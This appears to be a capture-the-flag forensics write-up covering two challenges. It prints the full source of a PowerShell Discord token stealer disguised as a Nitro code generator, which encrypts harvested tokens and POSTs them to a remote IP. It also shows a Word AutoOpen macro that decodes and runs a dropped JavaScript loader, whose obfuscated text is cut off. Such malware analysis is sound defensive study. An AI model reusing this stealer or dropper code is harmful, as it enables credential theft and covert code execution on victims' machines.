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" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
$U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;

This script actually executes the following code.

$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"

function Steal {
    param (
        [string]$path
    )

    $tokens = @()

    try {
        Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {

            try {
                $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop

                foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
                    $tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
                        $_.Matches.Value
                    }
                }
            } catch {}
        }
    } catch {}

    return $tokens
}

function GenerateDiscordNitroCodes {
    param (
        [int]$numberOfCodes = 10,
        [int]$codeLength = 16
    )

    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    $codes = @()

    for ($i = 0; $i -lt $numberOfCodes; $i++) {
        $code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
        $codes += $code
    }

    return $codes
}

function Get-DiscordUserInfo {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true)]
        [string]$Token
    )

    process {
        try {
            $Headers = @{
                "Authorization" = $Token
                "Content-Type" = "application/json"
                "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
            }

            $Uri = "https://discord.com/api/v9/users/@me"

            $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
            return $Response
        }
        catch {}
    }
}

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

Write-Host "
______              ______ _                       _   _   _ _ _               _____  _____  _____   ___
|  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
| |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
|  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
| | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
\_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/

                                                                                                         "
Write-Host "Generating Discord nitro keys! Please be patient..."

$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"

$paths = @{
    'Google Chrome' = "$local\Google\Chrome\User Data\Default"
    'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
    'Opera' = "$roaming\Opera Software\Opera Stable"
    'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
}

$headers = @{
    'Content-Type' = 'application/json'
    'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}

$allTokens = @()
foreach ($platform in $paths.Keys) {
    $currentPath = $paths[$platform]

    if (-not (Test-Path $currentPath -PathType Container)) {continue}

    $tokens = Steal -path $currentPath
    $allTokens += $tokens
}

$userInfos = @()
foreach ($token in $allTokens) {
    $userInfo = Get-DiscordUserInfo -Token $token
    if ($userInfo) {
        $userDetails = [PSCustomObject]@{
            ID = $userInfo.id
            Email = $userInfo.email
            GlobalName = $userInfo.global_name
            Token = $token
        }
        $userInfos += $userDetails
    }
}

$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload

try {
    $headers = @{
        'Content-Type' = 'text/plain'
        'User-Agent' = 'Mozilla/5.0'
    }
    Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}

Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }

This script encrypts secret information obtained from the system and exfiltrates it via a POST request.

The data actually being sent can be confirmed from the pcap file as follows.

image-20240311000210644

The exfiltrated data is created in the following section.

After encrypting the plaintext with AES using a hardcoded key, the IV used during encryption is concatenated with the encrypted data, and the Base64-encoded string is sent externally.

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

Since we know the IV size is 16 bytes, we separated the IV and the encrypted text from the decoded Base64 text and performed decryption with the following script.

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}
$key = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$aesManaged = Create-AesManagedObject $key
$aesManaged.IV = [Convert]::FromBase64String("bEG+rGcRyYKeqlzXb0QVVQ==")
$aesManaged

$decryptor = $aesManaged.CreateDecryptor()

$encryptedBytes = [Convert]::FromBase64String("G8WnkT2+aVJIbem8NMAahtrTlTG96nC/77S5Z7UyfguIgidmI0L8RLW1LtKbOZtz31Vx32HnUqADlGzW3xPnkSvmJzgWWgHNDu2mKfD32QLfzRZFpZyrUJzyJDqVkE//Kom4ux8tOlJjfIh5LCrxn226y/m5a930T1XQeHYHCTksMxifLBnDriGwfzK4T+7+Uy8/iBv46wccE9xZep1vgOWLCFbBuUOEkHjTbZQLZ4QwjR9wd7XEHMFI3JjzGqmjJoBpEeJPFNlouSt+ENSCb5zTM4Q3xvKE6J9mEImpLu1+hMdQvhWH7UB4FNNROmu11uardhSFfoANOsQGLmBdBtIjmvXDPevfsDvVnikcecCglM7S6uogKGkGKEVZ9ix2gyY7vu9mZ008OjVSDaPKdnND82Styg0CsE0h9uiIGduYK8VzXHAcUYvgk92N7yzdwzYo/YQMvfv31WonDeVagVfSgGCQWL4NEp+ibbRd0QKkjNb2J0nR66vEvF4ZLgkjefeOXh8hUPPC91iv6Hq6IFRF4CmpF7UFqxHx6dXho2j4i+x2eHNGKH6ump20JNZOOXNRcTRhJOSfGJGIF9i21G6U7rPHhK8k2lnWo6RLVRbbT/bFQ7fLLvpaH0k8MJXs4y8iEQcMWH8X+O9HbK31FMUh37NG3XYF/KNuLyt63tA3Tt2WkhymkoojzI3OoHgU")

$memoryStream = New-Object "System.IO.MemoryStream"
$cryptoStream = New-Object "System.Security.Cryptography.CryptoStream" ($memoryStream, $decryptor, "Write")
$cryptoStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$cryptoStream.FlushFinalBlock()

$decryptedBytes = $memoryStream.ToArray()
$memoryStream.Close()
$cryptoStream.Close()
$decryptedText = [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
Write-Output $decryptedText

This yields the following plaintext.

[
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    },
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    }
]

The first half of the flag is hardcoded as $part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf", so decoding this allowed us to obtain the flag string.

image-20240311000353231

Game Invitation(Forensic)

In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: “Join The Fray: Embrace the Challenge.” But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?

A Word document with macros is provided as the challenge file.

image-20240311211250173

First, I extracted the macro script using python3 olevba.py ~/win/forensics_game_invitation/invitation.docm.

Function xor_string(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
xor_string_True = True
End Function

Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set Scripting_FileSystemObject = CreateObject("Scripting.FileSystemObject")
Scripting_FileSystemObject.DeleteFile appdata_folder & "\*.*", True
Set Scripting_FileSystemObject = Nothing
End Sub

Sub AutoOpen()
    On Error GoTo MnOWqnnpKXfRO
    Dim chkDomain As String
    Dim strUserDomain As String
    chkDomain = "GAMEMASTERS.local"
    strUserDomain = Environ$("UserDomain")
    If chkDomain <> strUserDomain Then

    Else

    Dim FreeFile_num
    Dim file_length As Long
    Dim length As Long
    file_length = FileLen(ActiveDocument.FullName)
    FreeFile_num = FreeFile
    Open (ActiveDocument.FullName) For Binary As #FreeFile_num

    Dim byte_array1() As Byte
    ReDim byte_array1(file_length)
    
    Get #FreeFile_num, 1, byte_array1
    Dim byte_array1_to_unicode As String
    byte_array1_to_unicode = StrConv(byte_array1, vbUnicode)

    Dim matched_data, pattern_matched_array
    Dim regexp_obj
    Set regexp_obj = CreateObject("vbscript.regexp")
    regexp_obj.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set pattern_matched_array = regexp_obj.Execute(byte_array1_to_unicode)

    Dim mached_offset
    For Each matched_data In pattern_matched_array
        mached_offset = matched_data.FirstIndex
    Exit Fors
    Next

    Dim byte_string() As Byte
    Dim long_num As Long
    long_num = 13082
    ReDim byte_string(long_num)
    Get #FreeFile_num, mached_offset + 81, byte_string
    xor_string( (), long_num + 1)
    
    appdata_folder = Environ("appdata") & "\Microsoft\Windows"
    Set Scripting_FileSystemObject = CreateObject("Scripting.FileSystemObject")
    If Not Scripting_FileSystemObject.FolderExists(appdata_folder) Then
    appdata_folder = Environ("appdata")
    End If
    
    Set Scripting_FileSystemObject = Nothing
    Dim K764B5Ph46Vh
    K764B5Ph46Vh = FreeFile
    IAiiymixt = appdata_folder & "\" & "mailform.js"
    Open (IAiiymixt) For Binary As #K764B5Ph46Vh
    Put #K764B5Ph46Vh, 1, byte_string
    Close #K764B5Ph46Vh
    Erase byte_string
    Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
    R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
    ActiveDocument.Save
    Exit Sub
    MnOWqnnpKXfRO:
    Close #K764B5Ph46Vh
    ActiveDocument.Save
    End If
End Sub

Reference: Release oletools v0.60.1 · decalage2/oletools

This macro script extracts specific byte sequences from the Word file’s own data, performs XOR decryption, saves the result as mailform.js, and executes it using WScript.Shell.

The mailform.js saved here was an obfuscated JavaScript file.

var lVky=WScript.Arguments;var DASz=lVky(0);var Iwlh=lyEK();Iwlh=JrvS(Iwlh);Iwlh=xR68(DASz,Iwlh);eval(Iwlh);function af5Q(r){var a=r.charCodeAt(0);if(a===43||a===45)return 62;if(a===47||a===95)return 63;if(a<48)return-1;if(a<48+10)return a-48+26+26;if(a<65+26)return a-65;if(a<97+26)return a-97+26}function JrvS(r){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var t;var l;var h;if(r.length%4>0)return;var u=r.length;var g=r.charAt(u-2)==="="?2:r.charAt(u-1)==="="?1:0;var n=new Array(r.length*3/4-g);var i=g>0?r.length-4:r.length;var z=0;function b(r){n[z++]=r}for(t=0,l=0;t<i;t+=4,l+=3){h=af5Q(r.charAt(t))<<18|af5Q(r.charAt(t+1))<<12|af5Q(r.charAt(t+2))<<6|af5Q(r.charAt(t+3));b((h&16711680)>>16);b((h&65280)>>8);b(h&255)}if(g===2){h=af5Q(r.charAt(t))<<2|af5Q(r.charAt(t+1))>>4;b(h&255)}else if(g===1){h=af5Q(r.charAt(t))<<10|af5Q(r.charAt(t+1))<<4|af5Q(r.charAt(t+2))>>2;b(h>>8&255);b(h&255)}return n}function xR68(r,a){var t=[];var l=0;var h;var u="";for(var g=0;g<256;g++){t[g]=g}for(var g=0;g<256;g++){l=(l+t[g]+r.charCodeAt(g%r.length))%256;h=t[g];t[g]=t[l];t[l]=h}var g=0;var l=0;for(var n=0;n<a.length;n++){g=(g+1)%256;l=(l+t[g])%256;h=t[g];t[g]=t[l];t[l]=h;u+=String.fromCharCode(a[n]^t[(t[g]+t[l])%256])}return u}function lyEK(){var r="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